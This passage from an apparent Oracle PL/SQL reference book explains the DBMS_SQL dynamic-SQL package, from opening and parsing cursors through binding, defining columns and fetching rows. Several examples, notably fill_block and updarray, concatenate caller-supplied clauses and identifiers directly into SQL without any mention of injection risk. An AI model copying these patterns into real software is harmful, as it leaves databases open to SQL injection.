Before you perform any kind of dynamic SQL, you must obtain a pointer to memory in which the dynamic SQL will be managed. You do this by "opening the cursor," at which point Oracle sets aside memory for a cursor data area and then returns a pointer to that area.

These pointers are different from the cursors defined by other elements of Oracle, such as the Oracle Call Interface (OCI) and precompiler interfaces and even PL/SQL's static cursors.

2.3.2.1 The DBMS_SQL.OPEN_CURSOR function

Use this function to open a cursor. Here's the specification:

FUNCTION DBMS_SQL.OPEN_CURSOR RETURN INTEGER;

Notice that you do not provide a name for the cursor. You are simply requesting space in shared memory for the SQL statement and the data affected by that statement.

You can use a cursor to execute the same or different SQL statements more than once. When you reuse a cursor, the contents of the cursor data area are reset if a new SQL statement is parsed. You do not have to close and reopen a cursor before you reuse it. You absolutely do not have to open a new cursor for each new dynamic SQL statement you want to process. When you are done with the cursor, you should remove it from memory with a call to the CLOSE_CURSOR procedure.

The following example demonstrates the use of a single cursor for two different SQL statements. I declare a cursor, use it to create an index, and then use it to update rows in the emp table.

CREATE OR REPLACE PROCEDURE do_two_unrelated_actions
   (tab_in IN VARCHAR2, col_in IN VARCHAR2, val_in IN NUMBER)
IS
   cur BINARY_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk BINARY_INTEGER;
BEGIN
   /* Piece together a CREATE INDEX statement. */
   DBMS_SQL.PARSE (cur,
      'CREATE INDEX ind_' || tab_in || '$' || col_in || ' ON ' ||
      tab_in || '(' || col_in || ')',
      DBMS_SQL.NATIVE);
   fdbk := DBMS_SQL.EXECUTE (cur);

   /* Use the same cursor to do the update. */
   DBMS_SQL.PARSE (cur,
      'UPDATE ' || tab_in || ' SET ' || col_in || ' = :newval',
      DBMS_SQL.NATIVE);
   DBMS_SQL.BIND_VARIABLE (cur, 'newval', val_in);
   fdbk := DBMS_SQL.EXECUTE (cur);

   /* Free up the memory from the cursor. */
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

2.3.2.2 The DBMS_SQL.IS_OPEN function

The IS_OPEN function returns TRUE if the specified cursor is already open, and FALSE if the cursor has been closed or if the value does not point to a dynamic cursor,

FUNCTION DBMS_SQL.IS_OPEN (c IN INTEGER) RETURN BOOLEAN;

where c is the pointer to the cursor. This function corresponds to the %ISOPEN attribute for regular PL/SQL cursors.

2.3.3 Parsing the SQL Statement

Once you have allocated a pointer to a cursor, you can then associate that pointer with a SQL statement. You do this by parsing the SQL statement with a call to the PARSE procedure. The parse phase checks the statement's syntax, so if there is a syntax error, the call to PARSE will fail and an exception will be raised.

2.3.3.1 The DBMS_SQL.PARSE procedure

The PARSE procedure immediately parses the statement specified. It comes in two formats. The first, as follows, will be used in almost every case. For very large SQL statments, use the PL/SQL table-based version described in the next section.

PROCEDURE DBMS_SQL.PARSE
   (c IN INTEGER,
    statement IN VARCHAR2,
    language_flag IN INTEGER);

The parameters for this procedure are summarized in the following table.

Parameter | Description
c | The pointer to the cursor or memory area for this SQL statement.
statement | The SQL statement to be parsed and associated with the cursor. This statement should not be terminated with a semicolon unless it is a PL/SQL block.
language_flag | A flag determing how Oracle will handle the statement. Valid options are DBMS_SQL.V6, DBMS_SQL.V7, and DBMS_SQL.NATIVE. Use DBMS_SQL.NATIVE unless otherwise instructed by your DBA.

Note that you cannot defer the parsing of this statement, as is possible with OCI. Statements in DBMS_SQL are parsed immediately. Oracle documentation does mention that this "may change in future versions; you should not rely on this behavior." This means that at some point in the future, Oracle Corporation may allow parsing to be deferred to the execute phase, thereby reducing network traffic. If this change occurs, let's hope that a flag is offered to preserve earlier functionality.

NOTE: The common understanding among long-time Oracle programmers is that when you parse DDL, it always executes, so a call to the EXECUTE procedure is not necessary when calling DBMS_SQL.PARSE for a DDL statement. You should not take this shortcut! Oracle will not guarantee that this behavior will continue in future releases. If you want to make sure that your DDL has executed, call the DBMS_SQL.EXECUTE procedure.

2.3.3.2 Parsing very long SQL statements

PL/SQL8 offers a second, overloaded version of PARSE, which comes in handy when you have very large SQL statements. If your SQL statement exceeds the largest possible contiguous allocation on your system (and it is machine-dependent) or 32Kbytes (the maximum size for VARCHAR2), then use this version of the PARSE procedure:

PROCEDURE DBMS_SQL.PARSE
   (c IN INTEGER,
    statement IN DBMS_SQL.VARCHAR2S,
    lb IN INTEGER,
    ub IN INTEGER,
    lfflg IN BOOLEAN,
    language_flag IN INTEGER);

The parameters for this procedure are summarized in the following table.

Parameter | Description
c | The pointer to the cursor or memory area for this SQL statement.
statement | The SQL statement to be parsed and associated with the cursor. In this case, you will be passing a PL/SQL table of the DBMS_SQL.VARCHAR2S type.
lb | The lower bound or first row in the statement table to be parsed.
ub | The upper bound or last row in the statement table to be parsed.
lfflg | If TRUE, then a line-feed should be concatenated after each row in the table.
language_flag | A flag determining how Oracle will handle the statement. Valid options are DBMS_SQL.V6, DBMS_SQL.V7, and DBMS_SQL.NATIVE. Use DBMS_SQL.NATIVE unless otherwise instructed by your DBA.

My own parse_long_one procedure offers an example of using the array-based version of the PARSE procedure:

/* Filename on companion disk: parslong.sp */
CREATE OR REPLACE PROCEDURE parse_long_one
   (select_list IN VARCHAR2,
    from_list IN VARCHAR2,
    where_clause IN VARCHAR2,
    maxlen IN BINARY_INTEGER := 256, /* Can change the max. */
    dbg IN BOOLEAN := FALSE /* Built-in debugging toggle */
   )
IS
   /* Open the cursor as I declare the variable */
   cur BINARY_INTEGER := DBMS_SQL.OPEN_CURSOR;

   /* Declare the index-by table based on the DBMS_SQL TYPE. */
   sql_table DBMS_SQL.VARCHAR2S;

   /* Local module to extract up to the next maxlen chars. */
   FUNCTION next_row
      (string_in IN VARCHAR2,
       start_inout IN OUT BINARY_INTEGER,
       len_in IN BINARY_INTEGER)
   RETURN VARCHAR2
   IS
      v_start BINARY_INTEGER := start_inout;
   BEGIN
      start_inout := LEAST (len_in + 1, start_inout + maxlen);
      RETURN SUBSTR (string_in, v_start, maxlen);
   END;

   /* Local module to transfer string to index-by table. */
   PROCEDURE fill_sql_table (string_in IN VARCHAR2)
   IS
      v_length BINARY_INTEGER;
      v_start BINARY_INTEGER := 1;
   BEGIN
      IF string_in IS NOT NULL
      THEN
         v_length := LENGTH (string_in);
         LOOP
            sql_table (NVL (sql_table.LAST, 0)+1) :=
               next_row (string_in, v_start, v_length);
            EXIT WHEN v_start > v_length;
         END LOOP;
      END IF;
   END;

BEGIN
   /* Move each portion of the SELECT string to the table. */
   fill_sql_table (select_list);
   fill_sql_table (from_list);
   fill_sql_table (where_clause);

   /* Parse everything from first to last row of table. */
   DBMS_SQL.PARSE (cur,
      sql_table, sql_table.FIRST, sql_table.LAST,
      FALSE, DBMS_SQL.NATIVE);

   /* Execute and fetch rows if doing something for real... */
   /* If debugging, then display contents of the table. */
   IF dbg
   THEN
      DBMS_OUTPUT.PUT_LINE
         ('Parsed into lines of length ' || TO_CHAR (maxlen));
      FOR rowind IN sql_table.FIRST .. sql_table.LAST
      LOOP
         DBMS_OUTPUT.PUT_LINE (sql_table(rowind));
      END LOOP;
   END IF;

   /* Close the cursor when done. */
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

Here is a little test script (and the results of execution) for this procedure:

SQL> BEGIN
parse_long_one ('select empno, ename, sal, hiredate, mgr, comm ',
   'from emp ', 'where empno = empno and sal = sal', 10, TRUE);
END;
/

Parsed into lines of length 10
select emp
no, ename,
sal, hire
date, mgr,
comm
from emp
where empn
o = empno
and sal =
sal
/

Notice that the SELECT statement is broken without any concern for keeping identifiers intact. The lfflg value passed in to the PARSE procedure is set to FALSE so linefeeds are not concatenated. As a result, the broken identifiers are concatenated back together and the SQL statement parses without any difficulty.

2.3.4 Binding Values into Dynamic SQL

The SQL (or PL/SQL) statement you execute is constructed as a string at runtime. In most scenarios, you are using dynamic SQL because all the information about the SQL statement is not known at compile time. You therefore have values that you want to pass into the SQL statement at runtime. You have two ways of doing this: concatenation and binding. With concatenation, you convert all elements of the SQL statement into strings and concatenate them together. With binding, you insert placeholders in your string (identifiers prefaced with a colon) and then explicitly bind or associate a value with that placeholder before executing the SQL statement.

If you concatenate the value into the string, then you are not really binding values and you do not have to make calls to the BIND_VARIABLE or BIND_ARRAY procedures. Here is an example of the parsing of a dynamically constructed string relying on concatenation:

DBMS_SQL.PARSE
   (cur, 'SELECT * FROM emp WHERE ename LIKE ' || v_ename);

At runtime the string is cobbled together and passed to the SQL engine for parsing. With binding, you would write code like this:

DBMS_SQL.PARSE
   (cur, 'SELECT * FROM emp WHERE ename LIKE :varname');
DBMS_SQL.BIND_VARIABLE (cur, 'varname', var_name_in);

Binding involves writing more code, but offers much more flexibility and power. The following comparison between concatenation and binding techniques will help you decide which to use:

  • When you concatenate, you convert to a string format. This can become awkward and error-prone. With binding, you do not perform any conversions. Instead, the native datatypes are employed.

  • When you execute DDL statements dynamically, you cannot use bind variables. Your only choice is to concatenate together the strings and then pass that to the engine. This makes sense, since, at least in the current version of DBMS_SQL, there is no such thing as deferred parsing. When you parse, you also execute DDL.

  • You can execute the same dynamic cursor more than once, and each time you bind in different values to the SQL statement. This is not possible if you concatenate the values into the string at the time of parsing.

  • With bind variables, you can take advantage of the new array-processing features of PL/SQL8's DBMS_SQL package. You can bind an entire array of scalar values into the SQL string and then apply each of those values in a single SQL execution.

So if you decide that you really do want to bind variables into your dynamic SQL, use one of the programs described in the following sections.

2.3.4.1 The DBMS_SQL.BIND_VARIABLE procedure

The BIND_VARIABLE procedure binds a scalar value to a placeholder in your SQL statement. A placeholder is an identifier prefaced by a colon, as in :myval. Call BIND_VARIABLE after DBMS_SQL.PARSE, but before calls to EXECUTE and EXECUTE_AND_FETCH. This procedure is overloaded to allow you to bind a number of different types of data. This is the header:

PROCEDURE DBMS_SQL.BIND_VARIABLE
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN <datatype>);

The parameters for this procedure are summarized in the following table.

Parameter | Description
c | The handle or pointer to the cursor originally returned by a call to OPEN_CURSOR.
name | The name of the placeholder included in the SQL statement passed to PARSE.
value | The value to be bound to the placeholder variable.

<datatype> may be any of the following:

BFILE
BLOB
CLOB CHARACTER SET ANY_CS
DATE
MLSLABEL /*Trusted Oracle only*/
NUMBER
VARCHAR2 CHARACTER SET ANY_CS_ARRAY

Here is an example of binding the current date/time into a placeholder called "now:"

DBMS_SQL.BIND_VARIABLE (cur, 'now', SYSDATE);

Here is an example of binding the literal value "Liberation Theology" into a placeholder called "progress:"

DBMS_SQL.BIND_VARIABLE (cur, ':progress', 'Liberation Theology');

Notice that you can include or leave out the colon when you specify the placeholder name.

The DBMS_SQL package also offers more specific variants of BIND_VARIABLE for less-common datatypes,

PROCEDURE DBMS_SQL.BIND_VARIABLE
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN VARCHAR2 CHARACTER SET ANY_CS,
    [,out_value_size IN INTEGER]);

PROCEDURE DBMS_SQL.BIND_VARIABLE_CHAR
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN CHAR CHARACTER SET ANY_CS,
    [,out_value_size IN INTEGER]);

PROCEDURE DBMS_SQL.BIND_VARIABLE_RAW
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN RAW
    [,out_value_size IN INTEGER]);

PROCEDURE DBMS_SQL.BIND_VARIABLE_ROWID
   (c IN INTEGER,
    name IN VARCHAR2,
    value IN ROWID);

where out_value_size is the maximum size expected for the value that might be passed to this variable. Square brackets indicate optional parameters. If you do not provide a value for out_value_size, the size is the length of the current value provided.

2.3.4.1.1 Examples

For every placeholder you put in your SQL string, you must make a call to BIND_VARIABLE (or BIND_ARRAY). For example, the SELECT statement in the call to PARSE below contains two bind variables, :call_date and :call_type:

DBMS_SQL.PARSE
   (the_cursor,
    'SELECT COUNT(*) freq FROM call WHERE call_date = :call_date ' ||
      'AND call_type_cd = :call_type',
    DBMS_SQL.V7);

I will therefore need to issue the following two calls to BIND_VARIABLE before I can execute the query,

DBMS_SQL.BIND_VARIABLE (the_cursor, 'call_date', :call.last_date_called);
DBMS_SQL.BIND_VARIABLE (the_cursor, 'call_type', :call.call_status);

where the two bind values are items in an Oracle Forms screen. Since BIND_VARIABLE is overloaded, I can call it with either a date value or a string, and PL/SQL will execute the appropriate code. Notice that the name of the bind variable does not have to match any particular column name in the SELECT statement, and it does not have to match the name of the PL/SQL variable that may hold the value. The name is really just a placeholder into which a value is substituted.

You can also include the colon in the placeholder name when you bind the value to the variable:

DBMS_SQL.BIND_VARIABLE (the_cursor, ':call_date', :call.last_date_called);

If you want to avoid having to make these separate calls to BIND_VARIABLE, you can substitute these values into the SQL statement yourself at the time the statement is parsed. The code shows the same SELECT statement, but without any bind variables.

DBMS_SQL.PARSE
   (the_cursor,
    'SELECT COUNT(*) freq FROM call WHERE call_date = ''' ||
    TO_CHAR (:call.last_date_called) ||
    ''' AND call_type_cd = ''' || :call.call_status || '''',
    DBMS_SQL.V7);

Kind of ugly, isn't it? All of those single quotes glommed together (three consecutive single quotes at the end of a string result in one single quote around the literal values stuffed into the SQL statement), the concatenation, datatype conversions, etc. This is the tradeoff for not using the programmatic interface provided by DBMS_SQL.

You will also call BIND_VARIABLE for every placeholder in a dynamic PL/SQL block, even if the placeholder is an OUT argument or is otherwise simply receiving a value. Consider the following PL/SQL procedure, which performs an assignment dynamically when it could simply do it explicitly:

CREATE OR REPLACE PROCEDURE assign_value (newval_in IN NUMBER)
IS
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
   local_var NUMBER; /* Receives the new value */
BEGIN
   DBMS_SQL.PARSE
      (cur, 'BEGIN :container := :newval; END;', DBMS_SQL.NATIVE);
   DBMS_SQL.BIND_VARIABLE (cur, 'newval', newval_in);
   DBMS_SQL.BIND_VARIABLE (cur, 'container', 1);
   fdbk := DBMS_SQL.EXECUTE (cur);
   DBMS_SQL.VARIABLE_VALUE (cur, 'container', local_var);
END;
/

Notice that even though the container placeholder's value before execution is irrelevant, I still needed to bind that placeholder to a value for the PL/SQL block to execute successfully.

2.3.4.1.2 The DBMS_SQL.BIND_ARRAY procedure

With PL/SQL8, you can use the new BIND_ARRAY procedure to perform bulk selects, inserts, updates, and deletes to improve the performance of your application. This same procedure will allow you to use and manipulate index-by tables (previously known as PL/SQL tables) within dynamically constructed PL/SQL blocks of code. To perform bulk or array processing, you will associate one or more index-by tables with columns or placeholders in your cursor.

The BIND_ARRAY procedure establishes this association for you. Call this procedure after PARSE, but before calls to EXECUTE and EXECUTE_AND_FETCH:

PROCEDURE DBMS_SQL.BIND_ARRAY
   (c IN INTEGER,
   name IN VARCHAR2,
   <table_variable> IN <datatype>,
   [,index1 IN INTEGER,
   ,index2 IN INTEGER)]);

The parameters for this procedure are summarized in the following table.

Parameter | Description
c | The handle or pointer to the cursor originally returned by a call to OPEN_CURSOR.
name | The name of the host variable included in the SQL statement passed to PARSE.
index1 | The lower bound or row in the index-by table <table_variable> for the first table element.
variable | See the following description.
index2 | The upper bound or row in the index-by table <table_variable> for the last table element.

The <table_variable> IN <datatype> clause may be any of the following:

n_tab IN DBMS_SQL.NUMBER_TABLE
c_tab IN DBMS_SQL.VARCHAR2_TABLE
d_tab IN DBMS_SQL.DATE_TABLE
bl_tab IN DBMS_SQL.BLOB_TABLE
cl_tab IN DBMS_SQL.CLOB_TABLE
bl_tab IN DBMS_SQL.BFILE_TABLE

The following example shows how I can use BIND_ARRAY to update multiple numeric rows of any table that has a numeric primary key:

/* Filename on companion disk: updarray.sp */
CREATE OR REPLACE PROCEDURE updarray
   (tab IN VARCHAR2,
    keycol IN VARCHAR2,
    valcol IN VARCHAR2,
    keylist IN DBMS_SQL.NUMBER_TABLE,
    vallist IN DBMS_SQL.NUMBER_TABLE)
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;
   mytab DBMS_SQL.NUMBER_TABLE;
BEGIN
   DBMS_SQL.PARSE
     (cur,
      'UPDATE ' || tab ||
        ' SET ' || valcol || ' = :vals ' ||
      ' WHERE ' || keycol || ' = :keys',
      DBMS_SQL.NATIVE);

   DBMS_SQL.BIND_ARRAY (cur, 'keys', keylist);
   DBMS_SQL.BIND_ARRAY (cur, 'vals', vallist);

   fdbk := DBMS_SQL.EXECUTE (cur);

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

Now I can execute this "update by array" procedure for the sal column of the emp table.

DECLARE
   emps DBMS_SQL.NUMBER_TABLE;
   sals DBMS_SQL.NUMBER_TABLE;
BEGIN
   emps (1) := 7499;
   sals (1) := 2000;
   emps (2) := 7521;
   sals (2) := 3000;

   updarray ('emp', 'empno', 'sal', emps, sals);
END;
/

The section on the DEFINE_ARRAY procedure and the section called "Array Processing with DBMS_SQL" provide additional examples of using BIND_ARRAY.

2.3.4.1.3 Rules for array binding

There are a number of factors to keep in mind when you are binding with index-by tables.

  • At the time of binding, the contents of the nested table are copied from your private global area to the DBMS_SQL buffers. Consequently, if you make changes to the nested table after your call to DBMS_SQL.BIND_ARRAY, those changes will not affect the cursor when executed.

  • If you specify values for index1 and/or index2, then those rows must be defined in the nested table. The value of index1 must be less than or equal to index2. All elements between and included in those rows will be used in the bind, but the table does not have to be densely filled.

  • If you do not specify values for index1 and index2, the first and last rows defined in the nested table will be used to set the boundaries for the bind.

  • Suppose that you have more than one bind array in your statement and the bind ranges (or the defined rows, if you did not specify) for the arrays are different. DBMS_SQL will then use the smallest common range -- that is, the greatest of the lower bounds and the least of the upper bounds.

  • You can mix array and scalar binds in your dynamic SQL execution. If you have a scalar bind, the same value will be used for each element of the arrays.

  • When fetching data using dynamic SQL, you cannot use arrays in both the bind and define phases. You may not, in other words, specify multiple bind values and at the same time fetch multiple rows into an array.

2.3.5 Defining Cursor Columns

The OPEN_CURSOR procedure allocates memory for a cursor and its result set and returns a pointer to that area in memory. It does not, however, give any structure to that cursor. And even after you parse a SQL statement for that pointer, the cursor itself still does not have any internal structure. If you are going to execute a SELECT statement dynamically and extract values of columns in retrieved rows, you will need to take the additional step of defining the datatype of the individual columns in the cursor.

Each cursor column is, essentially, a container which will hold fetched data. You can use the DEFINE_COLUMN procedure to define a "scalar" column -- one that will hold a single value. You can also (with PL/SQL8) call DEFINE_ARRAY to create a column that will hold multiple values, allowing you to fetch rows in bulk from the database.

2.3.5.1 The DBMS_SQL.DEFINE_COLUMN procedure

When you call the PARSE procedure to process a SELECT statement, you need to pass values from the database into local variables. To do this, you must tell DBMS_SQL the datatypes of the different columns or expressions in the SELECT list by making a call to the DEFINE_COLUMN procedure:

PROCEDURE DBMS_SQL.DEFINE_COLUMN
    (c IN INTEGER,
    position IN INTEGER,
    column IN <datatype>);

The parameters for this procedure are summarized in the following table.

Parameter | Description
c | Pointer to the cursor.
position | The relative position of the column in the SELECT list.
column | A PL/SQL variable or expression whose datatype determines the datatype of the column being defined. The particular value being passed in is irrelevant.

<datatype> may be one of the following data types: NUMBER, DATE, MLSLABEL, BLOB, CLOB CHARACTER SET ANY_CS, BFILE

The DBMS_SQL package also offers more specific variants of DEFINE_COLUMN for less-common datatypes.

PROCEDURE DBMS_SQL.DEFINE_COLUMN
    (c IN INTEGER
    ,position IN INTEGER
    ,column IN VARCHAR2 CHARACTER SET ANY_CS
    ,column_size IN INTEGER);

PROCEDURE DBMS_SQL.DEFINE_COLUMN_CHAR
    (c IN INTEGER
    ,position IN INTEGER
    ,column IN CHAR CHARACTER SET ANY_CS
    ,column_size IN INTEGER);

PROCEDURE DBMS_SQL.DEFINE_COLUMN_RAW
    (c IN INTEGER
    ,position IN INTEGER
    ,column IN RAW
    ,column_size IN INTEGER);

PROCEDURE DBMS_SQL.DEFINE_COLUMN_ROWID
    (c IN INTEGER
    ,position IN INTEGER
    ,column IN ROWID);

PROCEDURE DBMS_SQL.DEFINE_COLUMN_LONG
    (c IN INTEGER
    ,position IN INTEGER);

You call DEFINE_COLUMN after the call to the PARSE procedure, but before the call to EXECUTE or EXECUTE_AND_FETCH. Once you have executed the SELECT statement, you will then use the COLUMN_VALUE procedure to grab a column value from the select list and pass it into the appropriate local variable.

The following code shows the different steps required to set up a SELECT statement for execution with DBMS_SQL:

DECLARE
   /* Declare cursor handle and assign it a pointer */
   c INTEGER := DBMS_SQL.OPEN_CURSOR;

   /* Use a record to declare local structures. */
   rec employee%ROWTYPE;

   /* return value from EXECUTE; ignore in case of query */
   execute_feedback INTEGER;
BEGIN
   /* Parse the query with two columns in SELECT list */
   DBMS_SQL.PARSE
      (c,
       'SELECT employee_id, last_name FROM employee',
       DBMS_SQL.V7);

   /* Define the columns in the cursor for this query */
   DBMS_SQL.DEFINE_COLUMN (c, 1, rec.empno);
   DBMS_SQL.DEFINE_COLUMN (c, 2, rec.ename, 30);

   /* Now I can execute the query */
   execute_feedback := DBMS_SQL.EXECUTE (c);
   ...
   DBMS_SQL.CLOSE_CURSOR (c)
END;

Notice that with the DEFINE_COLUMN procedure, you define columns (their datatypes) using a sequential position. With BIND_VARIABLE, on the other hand, you associate values to placeholders by name.

2.3.5.2 The DBMS_SQL.DEFINE_ARRAY procedure

If you are working with PL/SQL8, you have the option of defining a column in the cursor which is capable of holding the values of multiple fetched rows. You accomplish this with a call to the DEFINE_ARRAY procedure:

PROCEDURE DBMS_SQL.DEFINE_ARRAY
    (c IN INTEGER
    ,position IN INTEGER
    ,<table_parameter> IN <table_type>
    ,cnt IN INTEGER
    ,lower_bound IN INTEGER);

The DEFINE_ARRAY parameters are summarized in the following table.

Parameter | Description
c | Pointer to cursor.
position | The relative position of the column in the select list.
<table_parameter> | The nested table which is used to tell DBMS_SQL the datatype of the column.
cnt | The maximum number of rows to be fetched in the call to the FETCH_ROWS or EXECUTE_AND_FETCH functions.
lower_bound | The starting row (lower bound) in which column values will be placed in the nested table you provide in the corresponding call to the COLUMN_VALUE or VARIABLE_VALUE procedures.

<table_parameter> IN <table_type> is one of the following:

n_tab IN DBMS_SQL.NUMBER_TABLE
c_tab IN DBMS_SQL.VARCHAR2_TABLE
d_tab IN DBMS_SQL.DATE_TABLE
bl_tab IN DBMS_SQL.BLOB_TABLE
cl_tab IN DBMS_SQL._TABLE
bf_tab IN DBMS_SQL.BFILE_TABLE

When you call the COLUMN_VALUE or VARIABLE_VALUE procedures against an array-defined column, the Nth fetched column value will be placed in the lower_bound+N-1th row in the nested table. In other words, if you have fetched three rows and your call to DEFINE_ARRAY looked like this:

DECLARE
   datetab DBMS_SQL.DATE_TABLE;
BEGIN
   DBMS_SQL.DEFINE_ARRAY (cur, 2, datetab, 10, 15);

   ...execute and fetch rows...

   DBMS_SQL.COLUMN_VALUE (cur, 2, datetab);
END;

then the data will be placed in datetab(15), datetab(16), and datetab(17).

2.3.6 Executing the Cursor

So you've opened and parsed the cursor. You've bound your variables and defined your columns. Now it's time to get some work done.

2.3.6.1 The DBMS_SQL.EXECUTE function

The EXECUTE function executes the SQL statement associated with the specified cursor,

FUNCTION DBMS_SQL.EXECUTE (c IN INTEGER) RETURN INTEGER;

where c is the pointer to the cursor. This function returns the number of rows processed by the SQL statement if that statement is an UPDATE, INSERT, or DELETE. For all other SQL (queries and DDL) and PL/SQL statements, the value returned by EXECUTE is undefined and should be ignored.

If the SQL statement is a query, you can now call the FETCH_ROWS function to fetch rows that are retrieved by that query. If you are executing a query, you can also use EXECUTE_AND_FETCH to execute the cursor and fetch one or more rows with a single program call.

2.3.7 Fetching Rows

You can fetch one or more rows of data from a dynamically constructed query with either the FETCH_ROWS or EXECUTE_AND_FETCH functions.

NOTE: Prior to PL/SQL8, both of these functions would return either 0 (no rows fetched) or 1 (one row fetched). With PL/SQL8 and array processing, these functions will return 0 (no rows fetched) or the actual number of rows fetched.

2.3.7.1 The DBMS_SQL.FETCH_ROWS function

The FETCH_ROWS function corresponds to the FETCH statement for regular PL/SQL cursors. It fetches the next N rows from the cursor (a maximum of one if not using array processing in PL/SQL8). Here's the specification for the function,

FUNCTION DBMS_SQL.FETCH_ROWS
   (c IN INTEGER) RETURN INTEGER;

where c is the pointer to the cursor. The function returns 0 when there are no more rows to fetch. You can therefore use FETCH_ROWS much as you would FETCH and the %FOUND (or %NOTFOUND) attributes. The following two sets of statements are equivalent:

  • Use a normal, static cursor:

       FETCH emp_cur INTO emp_rec;
   IF emp_cur%FOUND
   THEN
       ... process data ...
   END IF;

  • Use DBMS_SQL to fetch rows:

       IF DBMS_SQL.FETCH_ROWS (c) > 0
   THEN
      ... process data ...
   END IF;

So that happens when you fetch past the end of the cursor's result set? With static cursors, you can fetch all you want and never raise an error. In the following block, for example, I fetch 1000 times from a table with 14 rows. (C'mon, you knew that, right? The emp table has 14 rows.)

DECLARE
   CURSOR empcur IS SELECT * FROM emp;
   emprec empcur%ROWTYPE;
BEGIN
   OPEN empcur;
   FOR rowind IN 1 .. 1000
   LOOP
      FETCH empcur INTO emprec;
   END LOOP;
END;
/

No problem -- and no exceptions! After the fourteenth fetch, the FETCH statement simply does nothing (and the record continues to hold the fourteenth row's information).

However, the "fetch past last record" behavior with dynamic SQL is different. The FETCH_ROWS function will raise the ORA-01002 exception: fetch out of sequence, if you fetch again after a call to FETCH_ROWS has returned 0. The following anonymous block raises the ORA-01002 error, because there are only three employees in department 10:

DECLARE
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
BEGIN
   DBMS_SQL.PARSE
      (cur, 'SELECT * FROM emp WHERE deptno = 10', DBMS_SQL.NATIVE);

   fdbk := DBMS_SQL.EXECUTE_CURSOR (cur);
   FOR Nfetch IN 1 .. 5
   LOOP
      /* On fetch #5 this will raise ORA-01002 */
      fdbk := DBMS_SQL.FETCH_ROWS (cur);
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

The following procedure shows how you can employ the FETCH_ROWS logic inside of a loop to fetch each of the rows from a cursor and place column values in an Oracle Forms block:

/* Filename on companion disk: fillblck.fp */
PROCEDURE fill_block (where_clause_in IN VARCHAR2)
/*
|| Query data from table using a dynamic where clause and then
|| pass those values to an Oracle Forms block.
*/
IS
   /*
   || Declare cursor handle and parse the query, all in a single
   || statement using open_and_parse (see PARSE description).
   */
   c INTEGER := DBMS_SQL.OPEN_CURSOR;

   emprec employee%ROWTYPE;

   /* return value from EXECUTE; ignore in case of query */
   fdbk INTEGER;
BEGIN
   /* Parse the query  with a dynamic WHERE clause */
   DBMS_SQL.PARSE (c,
      'SELECT employee_id, last_name ' ||
      '  FROM employee WHERE ' || where_clause_in,
      DBMS_SQL.NATIVE);

   /* Define the columns in the cursor for this query */
   DBMS_SQL.DEFINE_COLUMN (c, 1, emprec.empno);
   DBMS_SQL.DEFINE_COLUMN (c, 2, emprec.ename, 30);

   /* Now I can execute the query */
   fdbk:= DBMS_SQL.EXECUTE (c);
   LOOP
      /* Try to fetch next row. If done, then exit the loop. */
      EXIT WHEN DBMS_SQL.FETCH_ROWS (c) = 0;
      /*
      || Retrieve data via calls to COLUMN_VALUE and place those
      || values in a new record in the block.
      */
      DBMS_SQL.COLUMN_VALUE (c, 1, emprec.empno);
      DBMS_SQL.COLUMN_VALUE (c, 2, emprec.ename);
      CREATE_RECORD;
      :employee.employee_id := emprec.empno;
      :employee.employee_nm := emprec.ename;
   END LOOP;

   /* Clean up the cursor */
   DBMS_SQL.CLOSE_CURSOR (c);
END;

In this example, you can fetch only one row at a time, because you defined each of your columns in the cursor to hold a single value. If, on the other hand, you defined a column as an array, then the fetch could receive multiple rows in a single call. This approach is explored in more detail in the section Section 2.5.6, "Array Processing with DBMS_SQL"."

2.3.7.2 The DBMS_SQL.EXECUTE_AND_FETCH function

The EXECUTE_AND_FETCH function executes the SELECT statement associated with the specified cursor and immediately fetches the rows associated with the query. Here's the specification for the function.

FUNCTION DBMS_SQL.EXECUTE_AND_FETCH
    (c IN INTEGER
    ,exact IN BOOLEAN DEFAULT FALSE)
RETURN INTEGER;

Parameters are summarized in the following table.

Parameter | Description
c | The handle or pointer to the cursor originally returned by a call to OPEN_CURSOR.
exact | Set to TRUE if you want the function to raise an exception when it fetches more than one row.

Even if EXECUTE_AND_FETCH does raise an exception (TOO_MANY_ROWS), the rows will still be fetched and available. The value returned by the function will, however, be NULL.

This function is designed to make it easy to execute and fetch a single row from a query. It is very similar to the implicit SELECT cursor in native PL/SQL, which either returns a single row, multiple rows (for PL/SQL8 array access only), or raises the TOO_MANY_ROWS exception (ORA-01422).

See the sidebar entitled the sidebar "Oracle: The Show Me Technology"," for a script you can use to examine the behavior of this built-in function.

2.3.8 Retrieving Values

Oracle: The Show Me Technology

If there is one thing I have learned over the years, it is that if I am not absolutely sure about the way a particular feature works, I have to try it out and see what happens. I have two primary references for writing about PL/SQL technology: the Oracle documentation and the Oracle software. The former is helpful for guiding my "first draft." The latter is helpful for making sure that my "final draft" is accurate and honest. See, unfortunately, just because the documentation says that something works a certain way, that doesn't necessarily mean it really does operate as advertised.

I built the following script (designed for use in SQL*Plus) to make it easier for Oracle to "show me" exactly the kind of variations in behavior of DBMS_SQL.EXECUTE_AND_FETCH I might encounter. You use the first argument to indicate whether or not you want rows to be found. The second argument dictates the error-handling behavior. I thought I would share it with you to give you a sense of how these kinds of scripts can make it very easy to test functionality and behavior.

/* Filename on companion disk: execftch.sql */
DECLARE
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;
BEGIN
   DBMS_SQL.PARSE
     (cur, 'SELECT empno FROM emp where 1=&1', DBMS_SQL.NATIVE);

   DBMS_SQL.DEFINE_COLUMN (cur, 1, 1);

   fdbk := DBMS_SQL.EXECUTE_AND_FETCH (cur, &2);
   DBMS_OUTPUT.PUT_LINE (fdbk);
   DBMS_SQL.CLOSE_CURSOR (cur);
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE ('error code ' || SQLCODE);
      DBMS_OUTPUT.PUT_LINE
